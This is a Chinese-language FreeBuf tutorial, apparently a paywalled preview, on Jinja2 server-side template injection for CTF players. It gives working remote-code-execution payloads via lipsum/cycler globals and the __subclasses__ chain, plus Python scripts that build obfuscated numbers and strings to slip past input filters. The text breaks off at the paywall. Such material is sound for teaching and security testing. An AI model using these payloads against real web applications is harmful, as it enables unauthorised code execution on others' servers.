freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Fenjing 作者的 Jinja SSTI 完全进阶教程
Marven11 2025-04-04 14:21:21 31442
所属地 广东省

介绍

Jinja SSTI 的绕过手法非常多,但是很多文章在介绍绕过手法的时候只会从绕过字符的角度切入,难以查找,而且介绍的手法也不够全。

这里我将 fenjing 开发两年中包含的所有手法都整合在这篇文章中,并从构造目标的角度切入,希望可以让各位选手进阶 Jinja SSTI

有些手法很难手搓,本文会附带上示例脚本用于生成 payload

目录

  • 整体 payload 的构造思路

  • 常用技巧

  • 任意自然数

    • 十六进制、二进制和八进制

    • filter

    • 加减乘除

    • True 和 False

    • unicode

  • 字符串拼接

    • +~

    • join

    • replace

    • __add__

    • lipsum.__globals__.concat

    • "%s%%s"

    • 特殊:字符串重复

  • 英文小写字符、阿拉伯数字和下划线

    • dict

    • 从全局对象中提取

  • 特殊字符:百分号%

  • 特殊字符串:"%c"

  • 任意字符串 - 简单手法

  • 任意字符串 - 复杂手法

  • 取属性和字典的值

  • map filter

  • globals()

  • “全局函数”

  • 取 flask config

  • 构造最终 payload

整体 payload 的构造思路

不要再用你那啰里八嗦的__subclasses__

很多入门 jinja SSTI 教程都喜欢教小白用"".__mro__之类的技巧搓 payload

套路就是使用__base__,__mro__之类的属性拿到object类,然后用__subclasses__找到需要的类,比如

{{ "".__class__.__mro__[1].__subclasses__()[513]('ls /',stdout=-1,stderr=-1,shell=True).communicate()[0]}}

可是这个套路不仅要从一个非常长的列表中挑出subprocess.Popen的位置(在上面是 513),如果要打内存马甚至还得从这个类中拿出__init__函数,再找eval函数,比如说这样:

[].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...)

这不是脱裤子放 P 吗
lipsum等全局变量可以直接拿到eval函数,__import__函数,os模块等等,用不着__subclasses__,也根本不需要用到__mro__之类的东西

那有人就会说了:如果像lipsum这些东西都被 ban 了怎么办?我接下来会在“全局变量”一段展示如何用任意变量名代替lipsum,cycler,g等全局变量

使用lipsum.__globals__.__bulitins__.eval

使用 lipsum 等全局变量可以直接找到builtins模块,然后直接拿到eval函数或者__import__函数实现 RCE. 这样不需要从列表中找到subprocess.Popen类,构造出的 payload 也会简单很多
比如

  • lipsum.__globals__.__builtins__.eval('114+514')就是从 lipsum 中拿到__globals__这个属性(也就是globals()字典),取其中__builtins__的值,再拿出 eval 函数,计算114+514

  • lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()和上面的差不多,但是是拿出__import__函数,导入 os 模块,调用 popen 函数执行ls /,最后读取输出

使用lipsum.__globals__.os.popen

如果只需要构造命令的话可以直接拿出 os 模块调用 popen 函数,比如

{{ lipsum.__globals__.os.popen('ls').read() }}
{{ cycler.next.__globals__.os.popen('ls').read() }}

注意 flask 提供的变量,如g,self等不能这么操作,因为这些类所在的.py 文件没有import os

构造套路

综合上面的手法来看,payload的构造思路是:

  • 首先思考构造"_","%c"等特殊字符串

  • 然后思考构造任意数字/字符串

  • 再然后取全局变量的属性

  • 最后调用eval等函数实现RCE.

一般来说只有从上到下依次实现才能构造出需要的payload. 而其中最重要的就是任意字符串。如果没有任意字符串,那取属性、调用eval函数等等都会变得非常困难。

常用技巧

  • 所有会将任意对象转成字符串的 filter

    • capitalize

    • center

    • escape(可简写为 e)

    • forceescape(不如上面那个好用)

    • lower

    • pprint

    • safe

    • string

    • trim

    • unique

    • upper

    • urlencode

  • 取出字符串/列表的第 i 个字符/元素:"abcdef"|batch(i)|first|last(i 从 1 开始)

    • 如果方括号[]被 ban 了的话,可以使用batch这个 filter 拿出字符串的第 i 个字符或者列表的第 i 个元素

    • batch这个 filter 的作用是将字符串/列表 n 个 n 个地切分开,分成多个列表。比如"abcdef"会变成[["a","b"],["c","d"],["e","f"]],特别注意第 n 个字符正好在第一个列表的最后一位

    • 这样,我们要拿出第 i 个字符(比如说字符串"abcdef"中的第二个字符 b),只需要用"abcdef"|batch(2)|first|last就好了

    • 原理是将字符串"abcdef"两个两个地分开,这样字符 b 就在第一个列表的最后一个元素,用|first|last拿出来就好了

任意自然数

有些难题会禁止某些数字,甚至禁止 0-9 的出现,如果我们不能生成数字,就不能通过"%c"生成任意字符串了。

构造数字的方法主要有以下这些

十六进制、二进制和八进制

这个应该大家都能想到,如果有某些被 ban 了可以考虑用十六进制等绕过
比如说0x61就是数字 97,0b1000001就是数字 65,0o173就是数字 123
要把数字转成对应的十六进制等可以用 python 内置的hex等函数

filter

lengthcount

我们可以构造出一个很长的列表、元组或者字典,然后取这个列表的长度,这样构造出所有数字

def get_number(n, length_or_count="length"):
    if n == 0:
        return "()|" + length_or_count
    elif n == 1:
        return "()|int|e|" + length_or_count
    elif n == 2:
        return "(()|int~()|int)|" + length_or_count
    elif n % 2 == 0:
        return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count
    else:
        return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count

如果不能使用逗号的话也可以构造出一个很长的字符串(一般用dict构造)然后求长度

def get_number(n):
    return "dict("+"i"*n+"=i)|first|count"

print(get_number(10)) # dict(iiiiiiiiii=i)|first|count

int

如果我们可以用其他方法构造出 0-9 这些数字的字符,就可以拼接这些字符并通过int生成需要的数字

这里使用波浪线~拼接各个数字字符

def get_number_small(n, length_or_count="length"):
    """这个函数用来生成数字0-9"""
    if n == 0:
        return "()|" + length_or_count
    elif n == 1:
        return "()|int|e|" + length_or_count
    elif n == 2:
        return "(()|int~()|int)|" + length_or_count
    elif n % 2 == 0:
        return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count
    else:
        return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count

def get_number(n, length_or_count="length"):
    if n < 10:
        return get_number_small(n, length_or_count)
    return "(" + "~".join(get_number_small(int(x)) for x in str(n)) + ")|int"

print(get_number(123)) # (()|int|e|length~(()|int~()|int)|length~(()~()|int)|length)|int

sum

可以先构造出数字 1,然后用 sum 将多个数字 1 求和,得出任意正整数

def get_number(n):
    one = "1" # 或者"True"
    return "("+",".join(one for _ in range(n))+")|sum"

print(get_number(10)) # (1,1,1,1,1,1,1,1,1,1)|sum

加减乘除等

如果我们能生成比较小的数字,我们就可以通过加减乘除计算出需要的所有自然数

甚至,我们只需要能构造出数字 1,就能通过1+1+1+...的方式构造出所有正整数,也可以用1-1的方式构造出 0

def get_number(n):
    if n == 0:
        return "0"
    elif n == 1:
        return "1"
    else:
        # 其中的"1"也可以换成其他
        return "("+"+".join("1" for _ in range(n))+")"

print(get_number(123)) # 1+1+1+...

除了加减乘除之外我们还可以使用乘方,使用乘方可以大大减少 payload 长度(虽然在大部分情况下都没用)

True 和 False

True 是 1, False 是 0, 而且在 python 中 bool 是 int 的子类,所以可以用 True 替换 1

然后使用加法就能构造出所有正整数,比如 5 就是True+True+True+True+True

def get_number(n):
    if n == 0:
        return "False"
    elif n == 1:
        return "True"
    else:
        return "("+"+".join("True" for _ in range(n))+")"

print(get_number(123)) # (True+True+True+True+True+True+True+True+True+True+...

unicode

python 除了可以识别普通的数字字符之外还支持 Unicode 数字字符。比如说int('႖႖႖')在 python 中的结果为 666。所以我们可以将部分字符替换成这些 unicode 字符实现绕过。

通过 fuzz 我们可以得到所有可以被转成 0-9 的字符,其中每个字符串中的字符从左到右分别代表 0-9

[
  "٠١٢٣٤٥٦٧٨٩", "۰۱۲۳۴۵۶۷۸۹", "߀߁߂߃߄߅߆߇߈߉", "०१२३४५६७८९", "০১২৩৪৫৬৭৮৯", "੦੧੨੩੪੫੬੭੮੯", "૦૧૨૩૪૫૬૭૮૯",
  "୦୧୨୩୪୫୬୭୮୯", "௦௧௨௩௪௫௬௭௮௯", "౦౧౨౩౪౫౬౭౮౯", "೦೧೨೩೪೫೬೭೮೯", "൦൧൨൩൪൫൬൭൮൯", "๐๑๒๓๔๕๖๗๘๙", "໐໑໒໓໔໕໖໗໘໙",
 
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# web安全 # CTF # Jinja2 # SSTI
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Marven11 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Marven11 LV.1
某不知名CTF选手
  • 1 文章数
  • 0 关注者
文章目录